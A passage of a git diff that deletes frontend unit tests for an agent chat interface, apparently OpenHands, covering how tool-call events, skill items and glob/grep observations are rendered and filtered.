"ACTION_MESSAGE$ACP_TOOL"], - ] as const)("maps tool_kind=%s to %s", (toolKind, expectedKey) => { - expect(getACPToolCallTitleKey(makeEvent({ tool_kind: toolKind }))).toBe( - expectedKey, - ); - }); - - it("falls back to ACP_TOOL when tool_kind is null", () => { - expect(getACPToolCallTitleKey(makeEvent({ tool_kind: null }))).toBe( - "ACTION_MESSAGE$ACP_TOOL", - ); - }); -}); - -describe("getACPToolCallContent", () => { - it("renders execute tool calls with Command: and Output: blocks, matching terminal observations", () => { - const content = getACPToolCallContent(baseEvent); - - expect(content).toContain( - "Command: `gh pr diff 490 --repo OpenHands/evaluation`", - ); - expect(content).toContain("Output:"); - expect(content).toContain("```"); - expect(content).toContain("diff --git a/foo b/foo"); - }); - - it("renders non-execute tool calls with an Input: JSON block", () => { - const content = getACPToolCallContent( - makeEvent({ - tool_kind: "edit", - raw_input: { path: "/workspace/foo.py", content: "print('hi')\n" }, - raw_output: "ok", - }), - ); - - expect(content).toContain("Input:"); - expect(content).toContain("```json"); - expect(content).toContain('"path": "/workspace/foo.py"'); - expect(content).toContain("Output:"); - expect(content).toContain("ok"); - }); - - it("uses **Error:** for the output block when is_error is true", () => { - const content = getACPToolCallContent( - makeEvent({ is_error: true, raw_output: "permission denied" }), - ); - - expect(content).toContain("**Error:**"); - expect(content).toContain("permission denied"); - expect(content).not.toContain("Output:\n```\npermission denied"); - }); - - it("falls back to the shared no-output message when raw_output is empty", () => { - const content = getACPToolCallContent( - makeEvent({ raw_output: null, raw_input: { command: "true" } }), - ); - - // Mirrors getTerminalObservationContent which uses the same i18n key. - expect(content).toContain("Output:"); - expect(content).toContain("OBSERVATION$COMMAND_NO_OUTPUT"); - }); - - it("truncates very long output to MAX_CONTENT_LENGTH with an ellipsis", () => { - const huge = "x".repeat(5000); - const content = getACPToolCallContent(makeEvent({ raw_output: huge })); - - // MAX_CONTENT_LENGTH = 1000 in shared.ts; mirror that budget. - expect(content).toMatch(/x{1000}\.\.\./); - expect(content).not.toMatch(/x{1001}/); - }); - - it("serialises structured raw_output as JSON", () => { - const content = getACPToolCallContent( - makeEvent({ - tool_kind: "fetch", - raw_input: { url: "https://example.com" }, - raw_output: { status: 200, body: "ok" }, - }), - ); - - expect(content).toContain('"status": 200'); - expect(content).toContain('"body": "ok"'); - }); -}); - -describe("stripRedundantTitlePrefix", () => { - // The i18n templates already wrap the title in a verb ("Reading - // …"); ACP servers like Claude Code emit titles that also - // carry a verb ("Read /Users/foo/bar"). Without the strip, the user - // sees "Reading Read /Users/foo/bar". - - it("strips a leading 'Read' from read-tool titles (the headline regression)", () => { - expect( - stripRedundantTitlePrefix( - makeEvent({ - tool_kind: "read", - title: "Read /Users/foo/bar/file.py", - }), - ), - ).toBe("/Users/foo/bar/file.py"); - }); - - it("strips 'Edit' and 'Write' from edit-tool titles", () => { - expect( - stripRedundantTitlePrefix( - makeEvent({ tool_kind: "edit", title: "Edit /workspace/foo.py" }), - ), - ).toBe("/workspace/foo.py"); - expect( - stripRedundantTitlePrefix( - makeEvent({ tool_kind: "edit", title: "Write /workspace/foo.py" }), - ), - ).toBe("/workspace/foo.py"); - }); - - it("strips 'Bash' and 'Run' from execute-tool titles", () => { - expect( - stripRedundantTitlePrefix( - makeEvent({ tool_kind: "execute", title: "Bash ls -la" }), - ), - ).toBe("ls -la"); - }); - - it("leaves a title without the redundant prefix untouched", () => { - // The OpenHands ACP wrapper, for example, may already emit just the - // command. The strip should be a no-op in that case. - expect( - stripRedundantTitlePrefix( - makeEvent({ tool_kind: "execute", title: "gh pr view 416" }), - ), - ).toBe("gh pr view 416"); - }); - - it("does not strip when the prefix is part of a longer word", () => { - // ``"Reads"`` isn't the verb we want to strip — it's a different - // token. Boundary-check via whitespace after the prefix prevents - // the strip from over-reaching. - expect( - stripRedundantTitlePrefix( - makeEvent({ tool_kind: "read", title: "Reads-from /foo" }), - ), - ).toBe("Reads-from /foo"); - }); - - it("does not strip when tool_kind is null (unknown shape)", () => { - // Without a kind we can't know which prefixes are redundant; leave - // the title verbatim. - expect( - stripRedundantTitlePrefix( - makeEvent({ tool_kind: null, title: "Read /foo" }), - ), - ).toBe("Read /foo"); - }); - - it("handles an empty title", () => { - expect( - stripRedundantTitlePrefix(makeEvent({ tool_kind: "read", title: "" })), - ).toBe(""); - }); -}); - -describe("getACPToolCallResult", () => { - it("returns success for completed, non-error events", () => { - expect(getACPToolCallResult(baseEvent)).toBe("success"); - }); - - it("returns error for failed status", () => { - expect(getACPToolCallResult(makeEvent({ status: "failed" }))).toBe("error"); - }); - - it("returns error when is_error is true regardless of status", () => { - expect( - getACPToolCallResult(makeEvent({ status: "completed", is_error: true })), - ).toBe("error"); - }); - - it("returns undefined while a call is still in progress", () => { - // undefined → SuccessIndicator renders nothing, mirroring how a regular - // ActionEvent is displayed before its ObservationEvent arrives. - expect(getACPToolCallResult(makeEvent({ status: "in_progress" }))).toBe( - undefined, - ); - }); -}); diff --git a/__tests__/components/conversation-events/chat/event-content-helpers/get-invoke-skill-items.test.ts b/__tests__/components/conversation-events/chat/event-content-helpers/get-invoke-skill-items.test.ts deleted file mode 100644 index b67ebecb3..000000000 --- a/__tests__/components/conversation-events/chat/event-content-helpers/get-invoke-skill-items.test.ts +++ /dev/null @@ -1,73 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { getInvokeSkillItems } from "#/components/conversation-events/chat/event-content-helpers/get-invoke-skill-items"; -import { ObservationEvent } from "#/types/agent-server/core"; -import { InvokeSkillObservation } from "#/types/agent-server/core/base/observation"; - -const makeEvent = ( - observation: Partial, -): ObservationEvent => - ({ - id: "obs-skill", - timestamp: "2026-06-08T00:00:00.000Z", - source: "environment", - tool_name: "invoke_skill", - tool_call_id: "tool-skill", - action_id: "action-skill", - observation: { - kind: "InvokeSkillObservation", - skill_name: "worktree-switch", - content: [], - ...observation, - }, - }) as ObservationEvent; - -describe("getInvokeSkillItems", () => { - it("returns a single item with the skill name and joined text content", () => { - const items = getInvokeSkillItems( - makeEvent({ - skill_name: "worktree-switch", - content: [{ type: "text", text: "# Skill content" }], - }), - ); - - expect(items).toEqual([ - { name: "worktree-switch", content: "# Skill content" }, - ]); - }); - - it("joins multiple text blocks with newlines and trims", () => { - const items = getInvokeSkillItems( - makeEvent({ - skill_name: "docker", - content: [ - { type: "text", text: " line one" }, - { type: "text", text: "line two " }, - ], - }), - ); - - expect(items).toEqual([{ name: "docker", content: "line one\nline two" }]); - }); - - it("ignores non-text content blocks", () => { - const items = getInvokeSkillItems( - makeEvent({ - skill_name: "docker", - content: [ - { type: "image", image_urls: ["data:image/png;base64,abc"] }, - { type: "text", text: "only text survives" }, - ] as InvokeSkillObservation["content"], - }), - ); - - expect(items).toEqual([{ name: "docker", content: "only text survives" }]); - }); - - it("returns an empty array when there is no skill name and no content", () => { - const items = getInvokeSkillItems( - makeEvent({ skill_name: "", content: [] }), - ); - - expect(items).toEqual([]); - }); -}); diff --git a/__tests__/components/conversation-events/chat/event-content-helpers/get-observation-content.test.ts b/__tests__/components/conversation-events/chat/event-content-helpers/get-observation-content.test.ts deleted file mode 100644 index 110c134af..000000000 --- a/__tests__/components/conversation-events/chat/event-content-helpers/get-observation-content.test.ts +++ /dev/null @@ -1,305 +0,0 @@ -import { describe, it, expect } from "vitest"; -import { getObservationContent } from "#/components/conversation-events/chat/event-content-helpers/get-observation-content"; -import { ObservationEvent } from "#/types/agent-server/core"; -import { - BrowserObservation, - GlobObservation, - GrepObservation, -} from "#/types/agent-server/core/base/observation"; - -describe("getObservationContent - BrowserObservation", () => { - it("should return output content when available", () => { - const mockEvent: ObservationEvent = { - id: "test-id", - timestamp: "2024-01-01T00:00:00Z", - source: "environment", - tool_name: "browser_navigate", - tool_call_id: "call-id", - action_id: "action-id", - observation: { - kind: "BrowserObservation", - output: "Browser action completed", - error: null, - screenshot_data: "base64data", - }, - }; - - const result = getObservationContent(mockEvent); - - expect(result).toContain("**Output:**"); - expect(result).toContain("Browser action completed"); - }); - - it("should handle error cases properly", () => { - const mockEvent: ObservationEvent = { - id: "test-id", - timestamp: "2024-01-01T00:00:00Z", - source: "environment", - tool_name: "browser_navigate", - tool_call_id: "call-id", - action_id: "action-id", - observation: { - kind: "BrowserObservation", - output: "", - error: "Browser action failed", - screenshot_data: null, - }, - }; - - const result = getObservationContent(mockEvent); - - expect(result).toContain("**Error:**"); - expect(result).toContain("Browser action failed"); - }); - - it("should provide default message when no output or error", () => { - const mockEvent: ObservationEvent = { - id: "test-id", - timestamp: "2024-01-01T00:00:00Z", - source: "environment", - tool_name: "browser_navigate", - tool_call_id: "call-id", - action_id: "action-id", - observation: { - kind: "BrowserObservation", - output: "", - error: null, - screenshot_data: "base64data", - }, - }; - - const result = getObservationContent(mockEvent); - - expect(result).toBe("Browser action completed successfully."); - }); - - it("should return output when screenshot_data is null", () => { - const mockEvent: ObservationEvent = { - id: "test-id", - timestamp: "2024-01-01T00:00:00Z", - source: "environment", - tool_name: "browser_navigate", - tool_call_id: "call-id", - action_id: "action-id", - observation: { - kind: "BrowserObservation", - output: "Page loaded successfully", - error: null, - screenshot_data: null, - }, - }; - - const result = getObservationContent(mockEvent); - - expect(result).toBe("**Output:**\nPage loaded successfully"); - }); -}); - -describe("getObservationContent - GlobObservation", () => { - it("should display files found when glob matches files", () => { - // Arrange - const mockEvent: ObservationEvent = { - id: "test-id", - timestamp: "2024-01-01T00:00:00Z", - source: "environment", - tool_name: "glob", - tool_call_id: "call-id", - action_id: "action-id", - observation: { - kind: "GlobObservation", - content: [{ type: "text", text: "Found 2 files", cache_prompt: false }], - is_error: false, - files: ["/workspace/src/index.ts", "/workspace/src/app.ts"], - pattern: "**/*.ts", - search_path: "/workspace", - truncated: false, - }, - }; - - // Act - const result = getObservationContent(mockEvent); - - // Assert - expect(result).toContain("**Pattern:** `**/*.ts`"); - expect(result).toContain("**Search Path:** `/workspace`"); - expect(result).toContain("**Files Found (2):**"); - expect(result).toContain("- `/workspace/src/index.ts`"); - expect(result).toContain("- `/workspace/src/app.ts`"); - }); - - it("should display no files found message when glob matches nothing", () => { - // Arrange - const mockEvent: ObservationEvent = { - id: "test-id", - timestamp: "2024-01-01T00:00:00Z", - source: "environment", - tool_name: "glob", - tool_call_id: "call-id", - action_id: "action-id", - observation: { - kind: "GlobObservation", - content: [{ type: "text", text: "No files found", cache_prompt: false }], - is_error: false, - files: [], - pattern: "**/*.xyz", - search_path: "/workspace", - truncated: false, - }, - }; - - // Act - const result = getObservationContent(mockEvent); - - // Assert - expect(result).toContain("**Pattern:** `**/*.xyz`"); - expect(result).toContain("**Result:** No files found."); - }); - - it("should display error when glob operation fails", () => { - // Arrange - const mockEvent: ObservationEvent = { - id: "test-id", - timestamp: "2024-01-01T00:00:00Z", - source: "environment", - tool_name: "glob", - tool_call_id: "call-id", - action_id: "action-id", - observation: { - kind: "GlobObservation", - content: [{ type: "text", text: "Permission denied", cache_prompt: false }], - is_error: true, - files: [], - pattern: "**/*", - search_path: "/restricted", - truncated: false, - }, - }; - - // Act - const result = getObservationContent(mockEvent); - - // Assert - expect(result).toContain("**Error:**"); - expect(result).toContain("Permission denied"); - }); - - it("should indicate truncation when results exceed limit", () => { - // Arrange - const mockEvent: ObservationEvent = { - id: "test-id", - timestamp: "2024-01-01T00:00:00Z", - source: "environment", - tool_name: "glob", - tool_call_id: "call-id", - action_id: "action-id", - observation: { - kind: "GlobObservation", - content: [{ type: "text", text: "Found files", cache_prompt: false }], - is_error: false, - files: ["/workspace/file1.ts"], - pattern: "**/*.ts", - search_path: "/workspace", - truncated: true, - }, - }; - - // Act - const result = getObservationContent(mockEvent); - - // Assert - expect(result).toContain("**Files Found (1+, truncated):**"); - }); -}); - -describe("getObservationContent - GrepObservation", () => { - it("should display matches found when grep finds results", () => { - // Arrange - const mockEvent: ObservationEvent = { - id: "test-id", - timestamp: "2024-01-01T00:00:00Z", - source: "environment", - tool_name: "grep", - tool_call_id: "call-id", - action_id: "action-id", - observation: { - kind: "GrepObservation", - content: [{ type: "text", text: "Found 2 matches", cache_prompt: false }], - is_error: false, - matches: ["/workspace/src/api.ts", "/workspace/src/routes.ts"], - pattern: "fetchData", - search_path: "/workspace", - include_pattern: "*.ts", - truncated: false, - }, - }; - - // Act - const result = getObservationContent(mockEvent); - - // Assert - expect(result).toContain("**Pattern:** `fetchData`"); - expect(result).toContain("**Search Path:** `/workspace`"); - expect(result).toContain("**Include:** `*.ts`"); - expect(result).toContain("**Matches (2):**"); - expect(result).toContain("- `/workspace/src/api.ts`"); - }); - - it("should display no matches found when grep finds nothing", () => { - // Arrange - const mockEvent: ObservationEvent = { - id: "test-id", - timestamp: "2024-01-01T00:00:00Z", - source: "environment", - tool_name: "grep", - tool_call_id: "call-id", - action_id: "action-id", - observation: { - kind: "GrepObservation", - content: [{ type: "text", text: "No matches", cache_prompt: false }], - is_error: false, - matches: [], - pattern: "nonExistentFunction", - search_path: "/workspace", - include_pattern: null, - truncated: false, - }, - }; - - // Act - const result = getObservationContent(mockEvent); - - // Assert - expect(result).toContain("**Pattern:** `nonExistentFunction`"); - expect(result).toContain("**Result:** No matches found."); - expect(result).not.toContain("**Include:**"); - }); - - it("should display error when grep operation fails", () => { - // Arrange - const mockEvent: ObservationEvent = { - id: "test-id", - timestamp: "2024-01-01T00:00:00Z", - source: "environment", - tool_name: "grep", - tool_call_id: "call-id", - action_id: "action-id", - observation: { - kind: "GrepObservation", - content: [{ type: "text", text: "Invalid regex pattern", cache_prompt: false }], - is_error: true, - matches: [], - pattern: "[invalid", - search_path: "/workspace", - include_pattern: null, - truncated: false, - }, - }; - - // Act - const result = getObservationContent(mockEvent); - - // Assert - expect(result).toContain("**Error:**"); - expect(result).toContain("Invalid regex pattern"); - }); -}); diff --git a/__tests__/components/conversation-events/chat/event-content-helpers/get-observation-result.test.ts b/__tests__/components/conversation-events/chat/event-content-helpers/get-observation-result.test.ts deleted file mode 100644 index 40a23e5c3..000000000 --- a/__tests__/components/conversation-events/chat/event-content-helpers/get-observation-result.test.ts +++ /dev/null @@ -1,122 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { - getACPToolCallResult, - getObservationResult, -} from "#/components/conversation-events/chat/event-content-helpers/get-observation-result"; -import { ACPToolCallEvent } from "#/types/agent-server/core/events/acp-tool-call-event"; -import { ObservationEvent } from "#/types/agent-server/core"; - -const makeACPEvent = ( - overrides: Partial = {}, -): ACPToolCallEvent => ({ - id: "acp-1", - kind: "ACPToolCallEvent", - timestamp: "2024-01-01T00:00:00Z", - source: "agent", - tool_call_id: "tc-1", - title: "Run command", - status: "completed", - tool_kind: "execute", - raw_input: { command: "ls" }, - raw_output: "file.txt", - content: null, - is_error: false, - ...overrides, -}); - -describe("getACPToolCallResult", () => { - it("maps completed → success", () => { - expect(getACPToolCallResult(makeACPEvent({ status: "completed" }))).toBe( - "success", - ); - }); - - it("maps failed → error", () => { - expect(getACPToolCallResult(makeACPEvent({ status: "failed" }))).toBe( - "error", - ); - }); - - it("maps is_error → error even when status is completed", () => { - expect( - getACPToolCallResult(makeACPEvent({ status: "completed", is_error: true })), - ).toBe("error"); - }); - - it.each(["pending", "in_progress"] as const)( - "maps non-terminal status %s → undefined (running card)", - (status) => { - expect(getACPToolCallResult(makeACPEvent({ status }))).toBeUndefined(); - }, - ); - - it("maps null status → undefined (running card)", () => { - expect(getACPToolCallResult(makeACPEvent({ status: null }))).toBeUndefined(); - }); -}); - -const makeObs = ( - observation: ObservationEvent["observation"], -): ObservationEvent => ({ - id: "obs-1", - timestamp: "2024-01-01T00:00:00Z", - source: "environment", - tool_name: "tool", - tool_call_id: "tc-1", - action_id: "act-1", - observation, -}); - -describe("getObservationResult", () => { - it("maps InvokeSkillObservation is_error → error, otherwise success", () => { - expect( - getObservationResult( - makeObs({ - kind: "InvokeSkillObservation", - skill_name: "s", - content: [], - is_error: true, - }), - ), - ).toBe("error"); - expect( - getObservationResult( - makeObs({ - kind: "InvokeSkillObservation", - skill_name: "s", - content: [], - is_error: false, - }), - ), - ).toBe("success"); - }); - - it("maps TaskObservation is_error or failed status → error, otherwise success", () => { - const task = (extra: { status: string; is_error?: boolean }) => - makeObs({ - kind: "TaskObservation", - content: [], - task_id: "t1", - subagent: "code-explorer", - ...extra, - }); - expect(getObservationResult(task({ status: "completed" }))).toBe("success"); - expect(getObservationResult(task({ status: "failed" }))).toBe("error"); - expect( - getObservationResult(task({ status: "completed", is_error: true })), - ).toBe("error"); - }); - - it("maps CanvasUIObservation is_error → error, otherwise success", () => { - expect( - getObservationResult( - makeObs({ kind: "CanvasUIObservation", content: [], is_error: true }), - ), - ).toBe("error"); - expect( - getObservationResult( - makeObs({ kind: "CanvasUIObservation", content: [], is_error: false }), - ), - ).toBe("success"); - }); -}); diff --git a/__tests__/components/conversation-events/chat/event-content-helpers/get-skill-ready-items.test.ts b/__tests__/components/conversation-events/chat/event-content-helpers/get-skill-ready-items.test.ts deleted file mode 100644 index b322a13d5..000000000 --- a/__tests__/components/conversation-events/chat/event-content-helpers/get-skill-ready-items.test.ts +++ /dev/null @@ -1,74 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { getSkillReadyItems } from "#/components/conversation-events/chat/event-content-helpers/get-skill-ready-content"; -import { TextContent } from "#/types/agent-server/core/base/common"; - -const makeTextContent = (text: string): TextContent[] => [ - { type: "text", text }, -]; - -const wrapExtraInfo = (content: string): string => - `${content}`; - -describe("getSkillReadyItems", () => { - it("pairs skills with their EXTRA_INFO blocks by index", () => { - const skills = ["docker", "gitlab"]; - const extended = makeTextContent( - `${wrapExtraInfo("Docker guide")}${wrapExtraInfo("GitLab guide")}`, - ); - - const items = getSkillReadyItems(skills, extended); - - expect(items).toEqual([ - { name: "docker", content: "Docker guide" }, - { name: "gitlab", content: "GitLab guide" }, - ]); - }); - - it("returns empty content for skills without matching EXTRA_INFO", () => { - const skills = ["docker", "gitlab"]; - const extended = makeTextContent(wrapExtraInfo("Docker guide only")); - - const items = getSkillReadyItems(skills, extended); - - expect(items).toEqual([ - { name: "docker", content: "Docker guide only" }, - { name: "gitlab", content: "" }, - ]); - }); - - it("returns unnamed items when no skills but EXTRA_INFO blocks exist", () => { - const extended = makeTextContent( - `${wrapExtraInfo("Block A")}${wrapExtraInfo("Block B")}`, - ); - - const items = getSkillReadyItems([], extended); - - expect(items).toEqual([ - { name: "Extended Content 1", content: "Block A" }, - { name: "Extended Content 2", content: "Block B" }, - ]); - }); - - it("returns empty array when no skills and no extended content", () => { - expect(getSkillReadyItems([], [])).toEqual([]); - }); - - it("skips empty EXTRA_INFO blocks for unnamed items", () => { - const extended = makeTextContent( - `${wrapExtraInfo("Content")}${wrapExtraInfo(" ")}`, - ); - - const items = getSkillReadyItems([], extended); - - expect(items).toEqual([{ name: "Extended Content 1", content: "Content" }]); - }); - - it("trims content from EXTRA_INFO blocks", () => { - const skills = ["docker"]; - const extended = makeTextContent(wrapExtraInfo(" trimmed content ")); - - const items = getSkillReadyItems(skills, extended); - - expect(items[0].content).toBe("trimmed content"); - }); -}); diff --git a/__tests__/components/conversation-events/chat/event-content-helpers/should-render-event.test.ts b/__tests__/components/conversation-events/chat/event-content-helpers/should-render-event.test.ts deleted file mode 100644 index 7e5b00b7b..000000000 --- a/__tests__/components/conversation-events/chat/event-content-helpers/should-render-event.test.ts +++ /dev/null @@ -1,280 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { shouldRenderEvent } from "#/components/conversation-events/chat/event-content-helpers/should-render-event"; -import { - createPlanningFileEditorActionEvent, - createOtherActionEvent, - createPlanningObservationEvent, - createUserMessageEvent, -} from "test-utils"; -import { ACPToolCallEvent } from "#/types/agent-server/core/events/acp-tool-call-event"; -import { StreamingDeltaEvent } from "#/types/agent-server/core/events/streaming-delta-event"; -import { - ActionEvent, - ObservationEvent, - OpenHandsEvent, - SecurityRisk, -} from "#/types/agent-server/core"; -import { SwitchLLMAction } from "#/types/agent-server/core/base/action"; -import { SwitchLLMObservation } from "#/types/agent-server/core/base/observation"; - -const makeACPEvent = ( - overrides: Partial = {}, -): ACPToolCallEvent => ({ - id: "acp-1", - kind: "ACPToolCallEvent", - timestamp: "2024-01-01T00:00:00Z", - source: "agent", - tool_call_id: "tc-1", - title: "Run command", - status: "completed", - tool_kind: "execute", - raw_input: { command: "ls" }, - raw_output: "file.txt", - content: null, - is_error: false, - ...overrides, -}); - -describe("shouldRenderEvent - PlanningFileEditorAction", () => { - it("should return false for PlanningFileEditorAction", () => { - const event = createPlanningFileEditorActionEvent("action-1"); - - expect(shouldRenderEvent(event)).toBe(false); - }); - - it("should return true for other action types", () => { - const event = createOtherActionEvent("action-1"); - - expect(shouldRenderEvent(event)).toBe(true); - }); - - it("should return true for PlanningFileEditorObservation", () => { - const event = createPlanningObservationEvent("obs-1"); - - // Observations should still render (they're handled separately in event-message) - expect(shouldRenderEvent(event)).toBe(true); - }); - - it("should return true for user message events", () => { - const event = createUserMessageEvent("msg-1"); - - expect(shouldRenderEvent(event)).toBe(true); - }); -}); - -describe("shouldRenderEvent - ACPToolCallEvent", () => { - it("renders the early in_progress 'started' card", () => { - // The SDK now persists exactly one ``started`` (in_progress) event and - // one terminal event per ``tool_call_id`` — the action->observation pair. - // The started event renders the card as "running"; ``handleEventForUI`` - // then replaces it in place when the terminal event arrives. The old - // half-formed flashing came from the now-removed per-progress fan-out. - const event = makeACPEvent({ status: "in_progress", raw_input: {} }); - - expect(shouldRenderEvent(event)).toBe(true); - }); - - it("renders pending 'started' cards", () => { - const event = makeACPEvent({ status: "pending" }); - - expect(shouldRenderEvent(event)).toBe(true); - }); - - it("renders completed events", () => { - const event = makeACPEvent({ status: "completed" }); - - expect(shouldRenderEvent(event)).toBe(true); - }); - - it("renders failed events", () => { - const event = makeACPEvent({ status: "failed", is_error: true }); - - expect(shouldRenderEvent(event)).toBe(true); - }); - - it("renders events with null status as a running card", () => { - // A ``null`` status (legacy builds before the field was required) renders - // as "running" via the absent check mark rather than being hidden — better - // a card than a silently dropped tool call. - const event = makeACPEvent({ status: null }); - - expect(shouldRenderEvent(event)).toBe(true); - }); -}); - -describe("shouldRenderEvent - StreamingDeltaEvent", () => { - const makeStreamingDelta = ( - overrides: Partial = {}, - ): StreamingDeltaEvent => ({ - id: "delta-1", - kind: "StreamingDeltaEvent", - timestamp: "2024-01-01T00:00:00Z", - source: "agent", - content: "I'll start working on that.", - reasoning_content: null, - ...overrides, - }); - - it("renders text deltas", () => { - expect(shouldRenderEvent(makeStreamingDelta())).toBe(true); - }); - - it("renders reasoning-only deltas", () => { - expect( - shouldRenderEvent( - makeStreamingDelta({ - content: null, - reasoning_content: "thinking", - }), - ), - ).toBe(true); - }); - - it("hides empty deltas", () => { - expect( - shouldRenderEvent( - makeStreamingDelta({ - content: null, - reasoning_content: null, - }), - ), - ).toBe(false); - }); -}); - -describe("shouldRenderEvent - SwitchLLM", () => { - const switchAction: ActionEvent = { - id: "switch-action", - timestamp: "2024-01-01T00:00:00Z", - source: "agent", - thought: [], - thinking_blocks: [], - action: { - kind: "SwitchLLMAction", - profile_name: "haiku", - reason: "Use a cheaper model.", - }, - tool_name: "switch_llm", - tool_call_id: "tool-switch", - tool_call: { - id: "tool-switch", - type: "function", - function: { - name: "switch_llm", - arguments: JSON.stringify({ profile_name: "haiku" }), - }, - }, - llm_response_id: "response-switch", - security_risk: SecurityRisk.LOW, - }; - - const makeSwitchObservation = ( - overrides: Partial = {}, - ): ObservationEvent => ({ - id: "switch-observation", - timestamp: "2024-01-01T00:00:01Z", - source: "environment", - tool_name: "switch_llm", - tool_call_id: "tool-switch", - action_id: "switch-action", - observation: { - kind: "SwitchLLMObservation", - content: [{ type: "text", text: "Switched." }], - is_error: false, - profile_name: "haiku", - reason: "Use a cheaper model.", - active_model: "anthropic/claude-haiku-4-5", - ...overrides, - }, - }); - - it("hides switch actions and successful observations for the shared model UI", () => { - expect(shouldRenderEvent(switchAction)).toBe(false); - expect(shouldRenderEvent(makeSwitchObservation())).toBe(false); - }); - - it("keeps failed switch observations visible", () => { - expect( - shouldRenderEvent( - makeSwitchObservation({ - is_error: true, - content: [{ type: "text", text: "Profile was not found." }], - }), - ), - ).toBe(true); - }); -}); - -describe("shouldRenderEvent - /goal status updates", () => { - const makeGoalEvent = (active: boolean): OpenHandsEvent => - ({ - id: "goal-1", - kind: "ConversationStateUpdateEvent", - timestamp: "2024-01-01T00:00:00Z", - source: "environment", - key: "goal", - value: { - active, - status: active ? "running" : "complete", - iteration: 1, - max_iterations: 10, - objective: "make pytest pass", - verdict: null, - }, - }) as unknown as OpenHandsEvent; - - const makeStatsEvent = (): OpenHandsEvent => - ({ - id: "stats-1", - kind: "ConversationStateUpdateEvent", - timestamp: "2024-01-01T00:00:00Z", - source: "environment", - key: "stats", - value: {}, - }) as unknown as OpenHandsEvent; - - it("renders the terminal goal status inline", () => { - expect(shouldRenderEvent(makeGoalEvent(false))).toBe(true); - }); - - it("hides the in-progress goal status (shown by the live banner)", () => { - expect(shouldRenderEvent(makeGoalEvent(true))).toBe(false); - }); - - it("hides non-goal state updates", () => { - expect(shouldRenderEvent(makeStatsEvent())).toBe(false); - }); -}); - -describe("shouldRenderEvent - /goal loop re-prompts", () => { - const makeUserMessage = (text: string): OpenHandsEvent => - ({ - id: "m1", - kind: "MessageEvent", - source: "user", - timestamp: "2024-01-01T00:00:00Z", - llm_message: { role: "user", content: [{ type: "text", text }] }, - }) as unknown as OpenHandsEvent; - - it("hides the per-round follow-up re-prompt", () => { - const followup = makeUserMessage( - "The goal is NOT yet complete (audit iteration 1).\nOutstanding: needs tests", - ); - expect(shouldRenderEvent(followup)).toBe(false); - }); - - it("hides the resume re-prompt", () => { - expect( - shouldRenderEvent( - makeUserMessage("Resuming a goal that was paused or interrupted. ..."), - ), - ).toBe(false); - }); - - it("still renders the objective and ordinary user messages", () => { - expect( - shouldRenderEvent(makeUserMessage("create roman.py with to_roman(n)")), - ).toBe(true); - expect(shouldRenderEvent(makeUserMessage("hello"))).toBe(true); - }); -}); diff --git a/__tests__/components/conversation-events/chat/event-message-acp-tool-call.test.tsx b/__tests__/components/conversation-events/chat/event-message-acp-tool-call.test.tsx deleted file mode 100644 index 0163892ac..000000000 --- a/__tests__/components/conversation-events/chat/event-message-acp-tool-call.test.tsx +++ /dev/null @@ -1,108 +0,0 @@ -import { describe, expect, it, vi, beforeEach } from "vitest"; -import { screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { renderWithProviders } from "test-utils"; -import { EventMessage } from "#/components/conversation-events/chat/event-message"; -import { useAgentState } from "#/hooks/use-agent-state"; -import { AgentState } from "#/types/agent-state"; -import { ACPToolCallEvent } from "#/types/agent-server/core/events/acp-tool-call-event"; - -vi.mock("#/hooks/query/use-config", () => ({ - useConfig: () => ({ data: { APP_MODE: "local" } }), -})); -vi.mock("#/hooks/use-agent-state"); -vi.mock("#/hooks/use-conversation-id", () => ({ - useOptionalConversationId: () => ({ conversationId: "test-conversation-id" }), - useConversationId: () => ({ conversationId: "test-conversation-id" }), -})); - -const makeEvent = ( - overrides: Partial = {}, -): ACPToolCallEvent => ({ - kind: "ACPToolCallEvent", - id: "evt-1", - timestamp: "2026-04-16T19:32:29.828069", - source: "agent", - tool_call_id: "toolu_123", - title: "gh pr diff 490", - tool_kind: "execute", - status: "completed", - raw_input: { command: "gh pr diff 490" }, - raw_output: "diff output here", - content: null, - is_error: false, - ...overrides, -}); - -describe("EventMessage - ACPToolCallEvent dispatch", () => { - beforeEach(() => { - vi.clearAllMocks(); - vi.mocked(useAgentState).mockReturnValue({ - curAgentState: AgentState.INIT, - executionStatus: null, - }); - }); - - it("renders an ACP card through the same GenericEventMessage wrapper as observations", () => { - renderWithProviders( - , - ); - - // The test-utils i18n instance doesn't load the real translation bundle, - // so createTitleFromKey falls back to the key literal. Assert on the - // key — the integration case (rendered string) is covered by a Storybook - // story + manual verification listed in the PR description. - expect(screen.getByText("ACTION_MESSAGE$ACP_RUN")).toBeInTheDocument(); - }); - - it("does not show a success icon for completed tool calls", () => { - renderWithProviders( - , - ); - - expect(screen.queryByTestId("status-icon")).not.toBeInTheDocument(); - }); - - it("omits the status icon while a call is in progress", () => { - renderWithProviders( - , - ); - - // getACPToolCallResult returns undefined for in_progress, so - // SuccessIndicator renders no icon. - expect(screen.queryByTestId("status-icon")).not.toBeInTheDocument(); - }); - - it("expands details on click and shows the Command: + Output: blocks", async () => { - const user = userEvent.setup(); - renderWithProviders( - , - ); - - await user.click(screen.getByRole("button", { name: "BUTTON$EXPAND" })); - - // Markdown renderer wraps code blocks but the plain text survives. - expect(screen.getByText(/gh pr diff 490/)).toBeInTheDocument(); - expect(screen.getByText(/diff output here/)).toBeInTheDocument(); - }); -}); diff --git a/__tests__/components/conversation-events/chat/event-message-components/critic-result-display.test.tsx b/__tests__/components/conversation-events/chat/event-message-components/critic-result-display.test.tsx deleted file mode 100644 index 5fcc2f681..000000000 --- a/__tests__/components/conversation-events/chat/event-message-components/critic-result-display.test.tsx +++ /dev/null @@ -1,279 +0,0 @@ -import { screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { beforeEach, describe, it, expect, vi } from "vitest"; -import { renderWithProviders } from "test-utils"; -import { CriticResultDisplay } from "#/components/conversation-events/chat/event-message-components/critic-result-display"; -import type { CriticResult } from "#/types/agent-server/core/base/critic"; - -const mockUseSettings = vi.hoisted(() => - vi.fn(() => ({ - data: { - agent_settings: { - verification: { - enable_iterative_refinement: true, - }, - }, - }, - })), -); - -vi.mock("#/hooks/query/use-settings", () => ({ - useSettings: () => mockUseSettings(), -})); - -const makeCriticResult = ( - overrides: Partial = {}, -): CriticResult => ({ - score: 0.85, - message: 